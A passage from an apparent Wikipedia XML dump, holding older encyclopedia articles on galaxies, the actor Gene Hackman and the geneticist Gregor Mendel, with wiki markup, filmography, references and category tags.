#{{note|Critical_and_Clinical}} ''Essays Critical and Clinical'', p. 135.

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  <page>
    <title>Galaxy</title>
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[[Image: NGC_4414_(NASA-med).jpg|right|thumb|280px|'''[[NGC 4414]]''', a typical spiral galaxy in the constellation [[Coma Berenices]], is about 56,000 light years in diameter and approximately 60 million light years distant.]]

A '''galaxy''' is a huge [[gravitation|gravitationally bound]] system of [[star]]s, [[interstellar medium|interstellar gas and dust]], [[plasma (physics)|plasma]], and (possibly) unseen [[dark matter]]. Typical galaxies contain 10 million to one trillion (10&lt;sup&gt;7&lt;/sup&gt; to 10&lt;sup&gt;12&lt;/sup&gt;) stars, all orbiting a common [[center of gravity]]. In addition to single stars and a tenuous interstellar medium, most galaxies contain a large number of [[star system|multiple star systems]] and [[star cluster]]s as well as various types of [[nebula]]e. Most galaxies are several thousand to several hundred thousand [[light year]]s in diameter and are usually separated from one another by distances on the order of millions of light years.

Although so-called [[dark matter]] appears to account around 90% of the mass of most galaxies, the nature of this unseen components is not well understood. There is some evidence that [[supermassive black hole]]s may exist at the center of many, if not all, galaxies.

[[Intergalactic space]], the space between galaxies, is filled with a tenuous [[plasma (physics)|plasma]] with an average density less than one atom per cubic meter. There are probably more than a hundred billion (10&lt;sup&gt;11&lt;/sup&gt;) galaxies in the visible [[universe]].

== Types of galaxies ==

Galaxies come in three main types: [[elliptical galaxy|ellipticals]], [[spiral galaxy|spirals]], and [[irregular galaxy|irregulars]]. A slightly more extensive description of galaxy types based on their appearance is given by the [[Hubble sequence]]. Since the Hubble sequence is entirely based upon visual morphological type, it may miss certain important characteristics of galaxies such as [[star formation]] rate (in [[starburst galaxy|starburst galaxies]] or activity in the core (in [[active galaxy|active galaxies]]).

Our own galaxy, the [[Milky Way]], sometimes simply called ''the Galaxy'' (with uppercase), is a large disk-shaped [[barred spiral galaxy]] about [[1 E20 m|30 kiloparsecs]] or 100,000 [[light year]]s in diameter and 3,000 light years in thickness. It contains about 3&amp;times;10&lt;sup&gt;11&lt;/sup&gt; (three hundred billion) stars and has a total mass of about 6&amp;times;10&lt;sup&gt;11&lt;/sup&gt; (six hundred billion) times the [[solar mass|mass of the Sun]].

In spiral galaxies, the spiral arms have the shape of approximate [[logarithmic spiral]]s, a pattern that can be theoretically shown to result from a disturbance in a uniformly rotating mass of stars. Like the stars, the spiral arms also rotate around the center, but they do so with constant [[angular velocity]]. That means that stars pass in and out of spiral arms. The spiral arms are thought to be areas of high density  or density waves. As stars move into an arm, they slow down, thus creating a higher density; this is akin to a &quot;wave&quot; of slowdowns moving along a highway full of moving cars. The arms are visible because the high density facilitates star formation and they therefore harbor many bright and young stars.

Despite the prominence of large elliptical and spiral galaxies, most galaxies in the universe appear to be [[dwarf galaxy|dwarf galaxies]]. These tiny galaxies are about 100 times smaller than the Milky Way, containing only a few billion stars. Many dwarf galaxies may orbit a single larger galaxy; the Milky Way has at least a dozen such satellites. Dwarf galaxies may also be classified as [[dwarf elliptical galaxy|elliptical]], [[dwarf spiral galaxy|spiral]] or [[dwarf irregular galaxy|irregular]]. Since small dwarf ellipticals bear little resemblance to large ellipticals, they are often called [[dwarf spheroidal galaxy|dwarf spheroidal galaxies]] instead.

== Larger scale structures ==

Only a few galaxies exist by themselves; these are known as ''field galaxies''. Most galaxies are gravitationally bound to a number of other galaxies. Structures containing up to about 50 galaxies are called [[groups and clusters of galaxies|groups of galaxies]], and larger structures containing many thousands of galaxies packed into an area a few [[megaparsec]]s across are called [[groups and clusters of galaxies|clusters]]. Clusters of galaxies are often dominated by a single giant [[elliptical galaxy]], which over time tidally destroys its satellite galaxies and adds their mass to its own. [[Supercluster]]s are giant collections containing tens of thousands of galaxies, found in clusters, groups and sometimes individually; at the [[large-scale structure of the cosmos|supercluster scale]], galaxies are arranged into [[Great Wall (astronomy)|sheets]] and [[filament (astronomy)|filaments]] surrounding vast empty [[void (astronomy)|voids]]. Above this scale, the universe appears to be [[isotropy|isotropic]] and [[homogeneity|homogeneous]].

Our galaxy is a member of the [[Local Group]], which it dominates together with the [[Andromeda Galaxy]]; overall the Local Group contains about 30 galaxies in a space about [[1 E22 m|one megaparsec]] across. The Local Group is part of the [[Virgo Supercluster]], which is dominated by the [[Virgo Cluster]] (of which our Galaxy is not a member).

==Galaxy Formation==
{{Main|Galaxy formation and evolution}}

The method of galaxy formation is a major open question in astronomy. Theories may be divided into two categories: top-down and bottom-up. In top-down theories such as the Eggen–Lynden-Bell–Sandage (ELS) model, [[protogalaxy|protogalaxies]] form in a large-scale simultaneous collapse lasting about 100 million years. In bottom-up theories such as the Searle-Zinn (SZ) model, [[globular cluster]]s form first, and then a number of such bodies accrete to form a larger galaxy. Modern theories must be modified to account for the probable presence of large [[dark matter]] halos. A sketch of a galaxy formation model follows.

Shortly after recombination, [[baryon]]ic matter begins to condense around cold dark matter halos. Zero-[[metallicity|metal]] high-velocity [[halo star]]s (called [[Population III stars]]) are the first to develop around a protogalaxy as it starts to contract. These huge stars quickly [[supernova]], releasing heavy elements into the [[interstellar medium]]. Within the next billion years, [[globular cluster]]s, the central [[supermassive black hole]] and [[galactic bulge]] of metal-poor [[Population II stars]] form. Within two billion years, the remaining material settles into a [[galactic disk]]. The galaxy will continue to absorb infalling material from [[high velocity cloud]]s and [[dwarf galaxy|dwarf galaxies]] throughout its life; the cycle of stellar birth and death will increase the abundance of heavy elements, eventually allowing the formation of [[planet]]s.

[[Image:Pr3 400galaxypix.jpg|225px|thumb|Galaxy Abell 1835 IR1916 is seen as a tiny dot in this photo of distant galaxies. Image courtesy of [[European Southern Observatory|ESO]].]] 

The oldest galaxy yet found was discovered in 2004 by scientists at [[California Institute of Technology|Caltech]] using the [[Hubble Space Telescope]] and the [[Keck telescope]]s. This protogalaxy, imaged when the universe was about 750 million years old, contains only about 1 million stars. It is visible from this vast distance thanks to [[gravitational lens]]ing due to the [[Abell 2218]] cluster. The great mass of this galaxy cluster bends and focuses the light passing through it, acting as a natural lens in space. (See [http://science.nasa.gov/headlines/y2002/08feb_gravlens.htm].) This galaxy was displaced by galaxy [[Abell 1835 IR1916]] as the most distant galaxy ever seen by humans.

The existence of such old protogalaxies suggests that they must have grown in the so-called &quot;Dark Ages&quot; (before the first generation of stars) from [[anisotropy|anisotropic]] irregularities present during the era of [[recombination]], some 300,000 years after the [[Big Bang]]. Such irregularities of the right scale were observed using the [[Wilkinson Microwave Anisotropy Probe]] (WMAP) in 2003.

More evidence for this model of galaxy formation comes from detection of ancient [[Population III stars]]. The giant star, [[HE0107-5240]], discovered in 2002 researchers at the [[University of Hamburg]], is believed to be the oldest yet discovered star in the Milky Way, since unlike younger stars, it is virtually metal-free. (See [http://news.bbc.co.uk/2/hi/science/nature/2381935.stm].) Since then, other very old stars (like HE 1327) have also been found.

==Galaxy Evolution==

&lt;!-- Image with unknown copyright status removed: [[Image:NCG250collision.jpg|thumb|NGC 250 is a result of two spiral galaxies colliding, in a fashion similar to that expected for the Andromeda and Milky Way. Image courtesy of Gemini.]] --&gt;

Studies show that the Milky Way Galaxy is moving towards the nearby [[Andromeda Galaxy]] at about 130&amp;nbsp;km/s, and depending upon the lateral movements, the two may collide in about 5–6 billion years. Such galaxy collisions are fairly common, especially in dense [[galaxy cluster]]s. Given the distances between the stars, the great majority of star systems in colliding galaxies will be unaffected. However, gravitational stripping of the [[interstellar gas]] and dust that makes up the spiral arms will produce a long train of stars, similar to that seen in NGC 250 or the [[Antennae Galaxies]].

Although the Milky Way has never collided with a galaxy as large as Andromeda before, evidence of past collisions of the Milky Way with smaller [[dwarf galaxy|dwarf galaxies]] is increasing.

[[Spiral galaxies]], like the Milky Way, only produce new generations of stars as long as they continue to have dense [[molecular cloud]]s of interstellar [[hydrogen]] in their spiral arms. [[Elliptical galaxies]] are already largely devoid of this gas and so form no new stars. However, the supply of star-forming material is finite; as stars convert hydrogen into heavier elements, fewer stars will form.

After the end of star formation in under 100 billion years, the &quot;stellar age&quot; will come to an end after about 10 trillion to 100 trillion years (10&lt;sup&gt;13&lt;/sup&gt;–10&lt;sup&gt;14&lt;/sup&gt; years), as the smallest longest-lived stars in the universe, tiny [[red dwarf]]s begin to fade. At the end of the stellar age galaxies will comprise [[compact object]]s: [[brown dwarf]]s, [[black dwarf]]s, cooling [[white dwarf]]s, [[neutron star]]s, and [[black hole]]s. Eventually, as a result of [[relaxation time|gravitational relaxation]], eventually all stars will either fall into the central [[supermassive black hole]] of the galaxies, or be flung into the depths of intergalactic space as a result of collisions.

== Etymology ==

The word ''galaxy'' was derived from the Greek term for our own galaxy, ''kyklos galaktikos'' meaning &quot;milky circle&quot; for the system’s appearance in the sky. When astronomers speculated that certain objects previously classified as spiral nebulae were actually vast congeries of stars, this was called the &quot;island universe theory&quot;; but this was an obvious misnomer, since [[universe]] means everything there is. Consequently, this term fell into disuse, replaced by applying the term galaxy generically to all such bodies.

== History ==

This account of the history of the investigation of our own and other galaxies is largely taken from [1].

In 1610, [[Galileo Galilei]] used a telescope to study the bright band on the night sky known as the [[Milky Way]] and discovered that it was composed of a huge number of faint stars. In a treatise in 1755, [[Immanuel Kant]], drawing on earlier work by [[Thomas Wright (astronomer)|Thomas Wright]], speculated (correctly) that the Galaxy might be a rotating body of a huge number of stars, held together by [[gravitational force]]s akin to the [[solar system]] but on much larger scales. The resulting disk of stars would be seen as a band on the sky from our perspective inside the disk. Kant also conjectured that some of the [[nebula]]e visible in the night sky might be separate galaxies.

Towards the end of the 18th century, [[Charles Messier]] compiled a [[Messier object|catalog]] containing the 109 brightest nebulae, later followed by a larger catalog of 5000 nebulae assembled by [[William Herschel]]. In 1845, [[William Parsons, 3rd Earl of Rosse|Lord Rosse]] constructed a new [[telescope]] and was able to distinguish between elliptical and spiral nebulae. He also managed to make out individual point sources in some of these nebulae, lending credence to Kant's earlier conjecture. However, the nebulae were not universally accepted as distant separate galaxies until the matter was settled by [[Edwin Hubble]] in the early 1920s using a new telescope. He was able to resolve the outer parts of some spiral nebulae as collections of individual stars and identified some [[Cepheid variable]]s, thus allowing him to estimate the distance to the nebulae: they were far too distant to be part of the Milky Way. In 1936, Hubble produced a classification system for galaxies that is used to this day, the [[Hubble sequence]].

The first attempt to describe the shape of the Milky Way and the position of the Sun within it was carried out by [[William Herschel]] in 1785 by carefully counting the number of stars in different regions of the sky. Using a refined approach, [[Jacobus Kapteyn|Kapteyn]] in 1920 arrived at the picture of a small (diameter ~15 kiloparsecs) ellipsoid galaxy with the Sun close to the center. A different method by [[Harlow Shapley]] based on the cataloging of [[globular cluster]]s lead to a radically different picture: a flat disk with diameter ~70 kiloparsecs and the Sun far from the center. Both analyses failed to take into account the [[extinction (astronomy)|absorption of light]] by interstellar dust present in the [[galactic plane]]; once [[Robert Julius Trumpler]] had quantified this effect in 1930 by studying [[open cluster]]s, the present picture of our galaxy as described above emerged.

In 1944, [[Hendrik van de Hulst]] predicted [[microwave]] radiation at a [[hydrogen line|wavelength of 21 cm]], resulting from interstellar atomic [[hydrogen]] gas; this radiation was observed in 1951. This radiation allowed for much improved study of the Galaxy, since it is not affected by dust absorption and its [[doppler shift]] can be used to map the motion of the gas in the Galaxy. These observations led to the postulation of a rotating [[barred spiral galaxy|bar structure]] in the center of the Galaxy. With improved radio telescopes, hydrogen gas could also be traced in other galaxies. In the 1970s it was discovered in [[Vera Rubin]]'s study of the [[rotation curve|rotation speed]] of gas in galaxies that the total visible mass (from stars and gas) does not properly account for the speed of the rotating gas. This [[galaxy rotation problem]] is thought to be explained by the presence of large quantities of unseen [[dark matter]].

Beginning in the 1990s, the [[Hubble Space Telescope]] yielded improved observations. Among other things, it established that the missing dark matter in our galaxy cannot solely consist of inherently faint and small stars. The [[Hubble Deep Field]], an extremely long exposure of a relatively empty part of the sky, provided evidence that there are about 125 billion galaxies in the universe. Improved technology in detecting the non-visible spectrum ([[radio telescope]]s, [[infrared camera]]s, [[x-ray telescope]]s), allow detection of other galaxies that are not detected by Hubble. Particularly, galaxy surveys in the [[zone of avoidance]] (the region of the sky blocked by the Milky Way) have revealed a number of new galaxies.

==Life in Galaxies==

[[Life]] as we know it would seem to be a phenomenon found only around single, third-generation [[stellar classification|'''G'''-type]] stars in the middle regions of the spiral arms of [[spiral galaxy|spiral galaxies]], like the [[sun]]. [[Elliptical galaxies]], produced as a result of many [[colliding galaxies|galactic collision]]s, quickly lose their clouds of [[interstellar medium|interstellar hydrogen gas]], and cannot make new generations of stars. [[Irregular galaxies]] have few elderly stars and thus seem to have low concentrations of the heavier elements on which life depends.  Even within spiral galaxies life as we know it would appear to be limited to the middle reaches of the spiral arm, as in the [[galactic halo]] or outer spiral arms heavier elements are in short supply, whilst in the gas clouds around the galactic centre heavier elements are in concentrations too high, and inter-stellar interactions are too frequent to allow earth-sized planets to form in stable circular orbits around their stars.

== See also ==

* [[Active galaxy]]
* [[Barred spiral galaxy]]
* [[Dwarf galaxy]]
* [[Dwarf elliptical galaxy]]
* [[Dwarf spheroidal galaxy]]
* [[Elliptical galaxy]]
* [[Galaxy classification]]
* [[Galaxy formation and evolution]]
* [[Groups and clusters of galaxies]]
* [[Irregular galaxy]]
* [[Lenticular galaxy]]
* [[List of galaxies]]
* [[List of nearest galaxies]]
* [[Ring galaxy]]
* [[Spiral galaxy]]
* [[Starburst galaxy]]
* [[Seyfert galaxy]]
* [[Timeline of galaxies, clusters of galaxies, and large scale structure]]

== References ==

* James Binney: ''Galactic Astronomy'', Princeton University Press, 1998
* Terence Dickinson: ''The Universe and Beyond (Fourth Edition)'', Firefly Books Ltd. 2004, 2004

== External links ==

* [http://www.seds.org/messier/galaxy.html Galaxies, SEDS Messier pages]
* [http://www.anzwers.org/free/universe/ An Atlas of The Universe]
* [http://www.nightskyinfo.com/galaxies Galaxies - Information and amateur observations]
* [http://science.nasa.gov/headlines/y2002/08feb_gravlens.htm The Oldest Galaxy Yet Found]
* [http://news.bbc.co.uk/2/hi/science/nature/2381935.stm The Oldest Star found in the Galaxy]

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[[Category:Large-scale structure of the cosmos]]

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  </page>
  <page>
    <title>Gene Hackman</title>
    <id>12561</id>
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      <minor />
      <comment>/* Filmography */ +Zandy's Bride</comment>
      <text xml:space="preserve">[[Image:Hackman.JPG|thumb|Gene Hackman]]
'''Eugene Allen Hackman''' (born [[January 30]], [[1930]]) is an [[Academy Award|Oscar]] winning [[United States|American]] [[actor]].

==Early life==
Hackman was born in [[San Bernardino, California]] to Eugene Ezra Hackman (a newspaper pressman) and Lyda Gray. His parents divorced while he was a child, and he therefore moved from one place to another until he settled finally in [[Danville, Illinois]], where he lived with his [[England|English]]-born grandmother, Beatrice Gray.

At 16 he left home to join the [[United States Marine Corps|United States Marine Corps]], where he served 3 years as a field radio operator. Having finished his service, he moved to [[New York]], where he worked in several minor jobs. He then studied television production and journalism at the [[University of Illinois at Urbana-Champaign|University of Illinois]], taking advantage of the [[G.I. Bill]].

==Career==
Already over 30 years old, Hackman decided to become an actor, and joined the Pasadena Playhouse in California. It was in that school that Hackman forged a friendship with another aspiring actor named [[Dustin Hoffman]]. Already seen as outsiders by their classmates, Hackman and Hoffman were later voted &quot;The Least Likely To Succeed&quot;, which has proven famously untrue. Determined to prove them wrong, Hackman hopped on a bus bound for New York City with his wife, with Hoffman later following. A 2004 article in [[Vanity Fair (magazine)|Vanity Fair]] described how Hackman, Hoffman and [[Robert Duvall]] were all struggling actors and close friends, while living in New York City in the 1960s. As one of many odd jobs, Hackman was working as a doorman when he ran into an instructor whom he despised at the Beverly Hills Playhouse. Reinforcing the &quot;The Least Likely To Succeed&quot; vote, the man had said &quot;See Hackman, I told you you wouldn't amount to anything.&quot; (Some reports allege that it was in fact one of his former [[drill instructors]] from the [[Marines]] who saw him there and told him this.)

Hackman began performing in several [[off-Broadway]] plays. Finally, in 1964, he had the offer to play on [[Broadway theatre|Broadway]], which opened the doors to the movies. His first role was in ''[[Lilith (film)|Lilith]]'', with [[Warren Beatty]] in the leading role. Another secondary role, Buck Barrow, in 1967's ''[[Bonnie and Clyde]]'', earned him an [[Academy Award]] nomination as [[Best Supporting Actor]]. In 1971, he was again nominated for the same award, this time for ''[[I Never Sang for My Father]]'', working alongside [[Melvyn Douglas]] and [[Estelle Parsons]]. The next year he won the [[Academy Award for Best Actor|Best Actor]] award for his memorable performance as '''Popeye Doyle''' in ''[[The French Connection]]''.

By the end of the 1980s Hackman was a deeply respected actor (during the decade he made at least seventeen movies - see list below), and alternated between leading and supporting roles, earning another [[Academy Award for Best Actor|Best Actor]] nomination for ''[[Mississippi Burning]].'' In 1990, he underwent heart surgery, which kept him away from work for a while. In 1992, he played the sadistic sheriff, Bill Daggett,  in ''[[Unforgiven]]'', for which role he earned a second Oscar, this time for [[Academy Award for Best Supporting Actor|Best Supporting Actor]]. After so many years of acting, Hackman wanted to try another field of creativity, and wrote his first novel, which was published in 1999, a year that was exceptional in that he did not appear in any film.

His distinctive voice can be heard in television commercials from time-to-time, notably for [[United Airlines]], [[GTE]], [[CNN]], and more recently for [[Oppenheimer Funds]] and [[Lowe's|Lowe's Home Improvement]].

==Private life==
Hackman's first wife was Fay Maltese. They had three children, but they divorced in 1986 after 30 years of marriage. In 1991, Hackman married Betsy Arakawa. They live in [[Beverly Hills]] and [[Santa Fe, New Mexico]]. Betsy is co-owner of an upscale retail home-furnishing store in Santa Fe, called Pandora's, Inc.

On [[July 7]], [[2004]], Hackman gave a rare interview to [[Larry King]], in which he announced that he had no future film projects lined up, and believes his acting career is finished. 

==Filmography==
*'' [[Welcome to Mooseport]]'' (2004)
*'' [[Runaway Jury]]'' (2003) 
*'' [[Behind Enemy Lines (movie)|Behind Enemy Lines]]'' (2001) 
*'' [[The Royal Tenenbaums]]'' (2001)
*'' [[Heist (film)|Heist]]'' (2001)
*'' [[Heartbreakers]]'' (2001) 
*'' [[The Mexican]]'' (2001) 
*'' [[The Replacements (film)|The Replacements]]'' (2000) 
*'' [[Under Suspicion (2000 film)|Under Suspicion]]'' (2000)
*'' [[Enemy of the State]]'' (1998) 
*'' [[Twilight (movie)|Twilight]]'' (1998) 
*'' [[Absolute Power (film)|Absolute Power]]'' (1997) 
*'' [[The Chamber (movie)|The Chamber]]'' (1996) 
*'' [[Extreme Measures]]'' (1996)
*'' [[The Birdcage]]'' (1996)
*'' [[Get Shorty]]'' (1995)
*'' [[Crimson Tide (film)|Crimson Tide]]'' (1995)
*'' [[The Quick and the Dead]]'' (1995)
*'' [[Wyatt Earp (film)|Wyatt Earp]]'' (1994)
*'' [[Geronimo: An American Legend]]'' (1993)
*'' [[The Firm (film)|The Firm]]'' (1993)
*'' [[Unforgiven]]'' (1992)
*'' [[Company Business]]'' (1991)
*'' [[Class Action (1991 movie)|Class Action]]'' (1991)
*'' [[Loose Cannons]]'' (1990)
*'' [[Postcards from the Edge]]'' (1990)
*'' [[The Narrow Margin|Narrow Margin]]'' (1990)
*'' [[The Package]]'' (1988)
*'' [[Bat*21]]'' (1988)
*'' [[Mississippi Burning]]'' (1988)
*'' [[No Way Out (1987 movie)|No Way Out]]'' (1987)
*'' [[Another Woman]]'' (1987)
*'' [[Superman IV: The Quest For Peace]]'' (1987)
*'' [[Hoosiers]]'' (1986)
*'' [[Power (movie)|Power]]'' (1986)
*'' [[Target (movie)|Target]]''  (1985)
*'' [[Twice In A Lifetime]]'' (1985)
*'' [[Eureka (film)|Eureka]]'' (1984)
*'' [[Misunderstood (film)|Misunderstood]]'' (1984)
*'' [[Uncommon Valor]]'' (1983)
*'' [[Under Fire (film)|Under Fire]]'' (1983)
*'' [[Reds]]'' (1981)
*'' [[Superman II]]'' (1981)
*'' [[All Night Long (1981 film)|All Night Long]]'' (1981)
*'' [[Superman: The Movie|Superman]]'' (1978)
*'' [[The Domino Principle]]'' (1978)
*'' [[A Bridge Too Far]]'' (1977)
*'' [[March Or Die]]'' (1977)
*'' [[French Connection II]]'' (1975)
*'' [[Lucky Lady]]'' (1975)
*'' [[Night Moves (1975 film)|Night Moves]]'' (1975)
*'' [[The Conversation]]'' (1974)
*'' [[Zandy's Bride]]'' (1974)
*'' [[Bite the Bullet]]'' (1974)
*'' [[Young Frankenstein]]'' (1974)
*'' [[Scarecrow (1973 film)|Scarecrow]]'' (1973)
*'' [[The Poseidon Adventure]]'' (1972)
*'' [[Prime Cut]]'' (1972)
*'' [[The Hunting Party]]'' (1971)
*'' [[The French Connection]]'' (1971)
*'' [[I Never Sang for My Father]]'' (1970)
*'' [[Downhill Racer]]'' (1969)
*'' [[Marooned (movie)|Marooned]]'' (1969)
*'' [[The Gypsy Moths]]'' (1969)
*'' [[Bonnie and Clyde (film)|Bonnie and Clyde]]'' (1967)
*'' [[Hawaii (1966 movie)|Hawaii]]'' (1966)
*'' [[Lilith (film)|Lilith]]'' (1964)
*'' [[Mad Dog Coll (film)|Mad Dog Coll]]'' (uncredited) (1961)

==External links==
* [http://groups.yahoo.com/group/gene_hackman/ Gene Hackman Yahoo Group]
*{{imdb name | id=0000432 | name=Gene Hackman}}
* [http://www.thegoldenyears.org/hackman.html Classic Movies (1939 - 1969): Gene Hackman]
* [http://www.celebritypro.com/news/gene_hackman Daily Gene Hackman News]

[[Category:1930 births|Hackman, Gene]]
[[Category:American film actors|Hackman, Gene]]
[[Category:Best Actor Oscar|Hackman, Gene]] &lt;!-- The French Connection --&gt;
[[Category:Best Supporting Actor Oscar|Hackman, Gene]] &lt;!-- Bonnie and Clyde (movie), I Never Sang for My Father --&gt;
[[Category:Best Supporting Actor Oscar Nominee|Hackman, Gene]] &lt;!-- Unforgiven --&gt;
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[[Category:Living people|Hackman, Gene ]]
[[Category:Superman actors|Hackman, Gene]]
[[Category:United States Marines|Hackman, Gene]]

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  <page>
    <title>Gregor Mendel</title>
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      <text xml:space="preserve">{{redirect|Mendel}}
[[image:mendel.png|frame|right|Gregor Johann Mendel]]
'''Gregor Johann Mendel''' ([[July 20]]{{ref|bday}}, [[1822]] &amp;ndash; [[January 6]], [[1884]]) was an [[Austria]]n [[monk]] who is often called the &quot;father of [[genetics]]&quot; for his study of the [[biological inheritance|inheritance]] of [[Trait (biological)|trait]]s in [[pea]] plants. Mendel showed that there was particulate inheritance of traits according to his [[Mendelian inheritance|laws of inheritance]]. The significance of Mendel's work was not recognized until the turn of the [[20th century]]. Its rediscovery prompted the foundation of genetics.

== Biography ==
[[Image:Gregor-Johann-Mendel-memorial-plaque.jpg|right|thumb|Johann Gregor Mendel - memorial plaque in Olomouc]]
Mendel was born into a German-speaking family of [[Hynčice|Heinzendorf]], [[Moravia]], [[Austrian Empire]] (now Hynčice (part of Vražné), district of Nový Jičín, [[Czech Republic]]). During his childhood Mendel worked as a gardener, and as a young man attended the [[Philosophical Institute]] in [[Olomouc]]. In [[1843]] he entered the [[Augustinians|Augustinian]] [[Abbey]] of [[Thomas (apostle)|St. Thomas]] in [[Brno]]. Born Johann Mendel, he took the name Gregor upon entering monastic life. In [[1847]] he was [[ordination|ordained]] as a [[priest]]. In [[1851]] he was sent to the [[University of Vienna]] to study, returning to his abbey in [[1853]] as a teacher, principally of [[physics]]. [http://www.newadvent.org/cathen/10180b.htm]

Gregor Mendel was inspired by both his professors at university and his colleagues at the monastery to study variation in plants. He commenced his study in his monastery's experimental garden. Between [[1856]] and [[1863]] Mendel cultivated and tested some 28,000 [[pea]] plants. His experiments brought forth two generalizations which later became known as [[Mendelian inheritance|Mendel's Laws of Inheritance]].

Mendel's attraction to research was based on his love of nature. He was not only interested in plants, but also in meteorology and theories of evolution. Mendel often wondered how plants obtained atypical characteristics. On one of his frequent walks around the monastery, he found an atypical variety of an ornamental plant. He took it and planted it next to the typical variety. He grew their progeny side by side to see if there would be any approximation of the traits passed on to the next generation. This experiment was &quot;designed to support or to illustrate [[Jean-Baptiste Lamarck|Lamarck]]'s views concerning the influence of environment upon plants.&quot; He found that the plants' respective offspring retained the essential traits of the parents, and therefore were not influenced by the environment. This simple test gave birth to the idea of heredity.

Mendel read his paper, &quot;[[Experiments on Plant Hybridization]]&quot;, at two meetings of the [[Natural History Society of Brunn in Bohemia]] in [[1865]]. When Mendel's paper was published in [[1866]] in ''[[Proceedings of the Natural History Society of Brunn]]'', it had little impact and was cited about three times over the next thirty-five years.

Elevated as [[abbot]] in [[1868]], his scientific work largely ended as Mendel became consumed with his increased administrative responsibilities, especially a dispute with the civil government over their attempt to impose special taxes on religious institutions. [http://www.newadvent.org/cathen/10180b.htm]

Mendel died on [[January 6]], [[1884]], in [[Brno]], [[Austria-Hungary]] (now [[Czech Republic]]), from chronic [[nephritis]].

== Rediscovery of Mendel's work ==
It was not until the early [[20th century]] that the importance of his ideas was realized. In [[1900]], his work was rediscovered by [[Hugo de Vries]], [[Carl Correns]], and [[Erich von Tschermak]].  His results were quickly replicated, and genetic linkage quickly worked out. Biologists flocked to the theory, as while it was not yet applicable to many phenomena, it sought to give a [[genotype|genotypic]] understanding of heredity which they felt was lacking in previous studies of heredity which focused on [[phenotype|phenotypic]] approachs. Most prominent of these latter approaches was the [[biometric school]] of [[Karl Pearson]] and [[W.F.R. Weldon]], which was based heavily on stastical studies of phenotype variation. The strongest opposition to this school came from [[William Bateson]], who perhaps did the most in the early days of publicizing the benefits of Mendel's theory (the word &quot;[[genetics]]&quot;, and much of the discipline's other terminology, originated with Bateson). This debate between the biometricians and the Mendelians was extremely vigorous in the first two decades of the twentieth century, with the biometricians claiming statistical and mathematical rigor, while the Mendelians claimed a better understanding of biology. In the end, the two approaches were synthesized as [[the modern synthesis]] of evolutionary biology, especially by work conducted by [[Ronald Fisher]] in 1918.

His experimental results have later been the object of considerable dispute. The renowned statistician [[Ronald Fisher]] analyzed the results of the F1 (first filial) ratio and found them to be implausibly close to the exact ratio of 3 to 1. Only a few would accuse Mendel of [[scientific malpractice]] or call it a [[scientific fraud]] &amp;mdash; reproduction of his experiments has demonstrated the accuracy of his hypothesis &amp;mdash; however, the results have continued to be a mystery for many, though it is often cited as an example of [[confirmation bias]], and he is generally suspected of having &quot;smoothed&quot; his data to some degree (not knowing about the importance of blind classification).  The fact that his reported results concentrate on the few traits in peas which are determined by a single gene has also suggested that he may have censored his results, otherwise he would have stumbled across [[genetic linkage]].

The standard [[Binomial nomenclature#Authorship in scientific names|botanical author abbreviation]] Mendel is applied to [[species]] he described.

== Mendel, Darwin and Galton ==
[[Image:Gregor Johann Mendel bust.jpg|right|thumb|Bust of Mendel at [[Mendel University of Agriculture and Forestry Brno]], [[Czech Republic]].]]

Mendel lived around the same time as the British naturalist [[Charles Darwin]] ([[1809]] &amp;ndash; [[1882]]) and many have fantasized about a historical evolutionary synthesis of Darwinian [[natural selection]] and Mendelian genetics during their lifetimes.  Mendel had read a German translation of Darwin's ''[[The Origin of Species|Origin]]'' (as evidenced by underlined passages in the copy in his monastery), after completing his experiments but before publishing his paper. Some passages in Mendel's paper are Darwinian in character, evidence that ''The Origin of Species'' influenced Mendel's writing. Darwin did not have a copy of Mendel's paper, but he did have a book by Focke with references to it. The leading expert in [[heredity]] at this time was Darwin's cousin [[Francis Galton]] who had mathematical skills that Darwin lacked and may have been able to understand the paper had he seen it.  In any event, the [[modern evolutionary synthesis]] did not start until the [[1920s]], by which time [[statistics]] had become advanced enough to cope with genetics and evolution.

==Notes==
#{{note|bday}} [[July 20]] is his birthday; often mentioned is [[July 22]], the date of his baptism. &lt;!-- see Talk page for more on this --&gt;

==Bibliography==
* [[William Bateson]] ''Mendel's Principles of Heredity, a Defense'', First Edition, London: Cambridge University Press, 1902. [http://www.esp.org/books/bateson/mendel/facsimile/title3.html On-line Facsimile Edition: Electronic Scholarly Publishing, Prepared by Robert Robbins]
* Robin Marantz Henig, ''Monk in the Garden: The Lost and Found Genius of Gregor Mendel, the Father of Genetics'', Houghton Mifflin, May, 2000, hardcover, 292 pages, ISBN 0395977657; trade paperback, Houghton Mifflin, May, 2001, ISBN 0618127410 
* Robert Lock, ''Recent Progress in the Study of Variation, Heredity and Evolution'', London, 1906
* [[Reginald Punnett]], ''Mendelism'', Cambridge, 1905
* [[Curt Stern]] and Sherwood ER ([[1966]]) ''The Origin of Genetics''.
* [[Colin Tudge]] ''In Mendel's footnotes'' ISBN 0099288753 book about Gregor Mendel
* [[Bartel Leendert van der Waerden]] ''Mendel's experiments'' Centaurus 12, 275-288 (1968) refutes allegations about &quot;data smoothing&quot;
* James Walsh, ''Catholic Churchmen in Science'', Philadelphia: Dolphin Press, 1906

==See also==
[[Image:StThomasAbbeyBrno.jpg|right|thumb|The Augustinian Abbey of St Thomas, Brno.]]

* [[List of Austrian Scientists]]
* [[Mendel University of Agriculture and Forestry Brno]] (named after Mendel since 1994)
* [[Mendelian inheritance]]

==External links==
*[http://www.mendelweb.org/Mendel.html Mendelweb]
**[http://www.mendelweb.org/Mendel.html Mendel's Paper in English]
*[http://www.mendel-museum.org/index.htm Mendel Museum of Genetics]
*[http://www.newadvent.org/cathen/10180b.htm 1913 Catholic Encyclopedia entry, &quot;Mendel, Mendalism&quot;]
*[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?db=OMIM Online Mendelian Inheritence in Man]
*[http://www.opatbrno.cz/ Augustinian Abbey of St. Thomas at Brno]

[[Category:1822 births|Mendel, Gregor]]
[[Category:1884 deaths|Mendel, Gregor]]
[[Category:Augustinians|Mendel, Gregor]]
[[Category:Austrian biologists|Mendel, Gregor]]
[[Category:Austrian botanists|Mendel, Gregor]]
[[Category:Botanists with author abbreviations|Mendel, Gregor]]
[[Category:Christians in science|Mendel]]
[[Category:Czech botanists|Mendel, Gregor]]
[[Category:Geneticists|Mendel, Gregor]]

[[bg:Грегор Мендел]]
[[ca:Gregor Mendel]]
[[cs:Gregor Mendel]]
[[cy:Gregor Mendel]]
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[[et:Gregor Mendel]]
[[es:Gregor Mendel]]
[[eo:Johann Gregor MENDEL]]
